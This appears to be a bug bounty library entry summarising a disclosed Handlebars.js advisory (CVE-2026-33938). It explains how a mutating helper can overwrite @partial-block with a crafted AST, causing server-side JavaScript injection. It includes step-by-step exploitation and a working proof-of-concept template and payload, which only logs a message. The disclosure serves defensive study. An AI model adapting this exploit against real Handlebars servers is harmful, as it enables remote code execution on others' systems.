# Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block

Handlebars @partial-block data frame is mutable; a helper overwrites it with a crafted AST that invokePartial dynamically compiles, yielding server-side JavaScript RCE.

- Payout: Research
- Severity: high
- Program: Handlebars.js
- Found by: evanj2357
- Disclosed: 2026-03-27
- CVE: CVE-2026-33938
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-3mfm-83xf-c92r
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-3mfm-83xf-c92r
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:prototype-pollution vuln:rce

**Target:** Handlebars template runtime (invokePartial / env.compile fallback)
**Root cause:** The @partial-block special variable lives in a mutable data frame reachable as @_parent.partial-block; helpers that assign properties to passed objects can overwrite it with an attacker-controlled value. invokePartial then falls back to env.compile() on any non-function object, compiling an attacker-supplied AST.
**Steps:**
1. Register a helper that mutates object properties, e.g. `Handlebars.registerHelper('merge', require('handlebars-helpers').object().merge)`.
2. Define an inline partial containing `{{>@partial-block}}` and invoke it as a partial block.
3. Inside the block call `{{merge @_parent partial-block=1}}` then `{{merge @_parent partial-block=payload}}` to overwrite the parent frame's @partial-block with an attacker object.
4. Supply payload as a Handlebars AST (type Program, MustacheStatement, PathExpression) whose `depth` field contains injected JS: `0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//`.
5. Compile and render the template; invokePartial dynamically compiles the AST and the injected function executes.
**How found:** Noticed @partial-block is stored in the mutable data frame and reachable via @_parent.partial-block, then reasoned that any helper assigning to object properties could overwrite it; traced invokePartial's fallback to env.compile() for non-function objects and crafted an AST whose depth field breaks out of the generated function call.
**Exploitation:** Attacker who controls template context data (or templates) uses a mutating helper to replace @partial-block with a crafted AST; the subsequent `{{> @partial-block}}` triggers env.compile() on the object, executing injected JavaScript in the server process.
**Insight:** Special variables like @partial-block live in mutable data frames reachable via @_parent; any helper that writes to passed objects becomes a mutation primitive, and runtime fallbacks that compile non-function values turn data into code.

## Proof of concept (copied exactly from the original report)

**Handlebars template and malicious AST payload for RCE**

```
const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);

const vulnerableTemplate = `
{{#*inline "myPartial"}}
    {{>@partial-block}}
    {{>@partial-block}}
{{/inline}}
{{#>myPartial}}
    {{merge @_parent partial-block=1}}
    {{merge @_parent partial-block=payload}}
{{/myPartial}}
`;

const maliciousContext = {
  payload: {
    type: "Program",
    body: [
      {
        type: "MustacheStatement",
        depth: 0,
        path: {
          type: "PathExpression",
          parts: ["pop"],
          original: "this.pop",
          // Code injected via depth field — breaks out of generated function call
          depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
        },
      },
    ],
  },
};

Handlebars.compile(vulnerableTemplate)(maliciousContext);
```

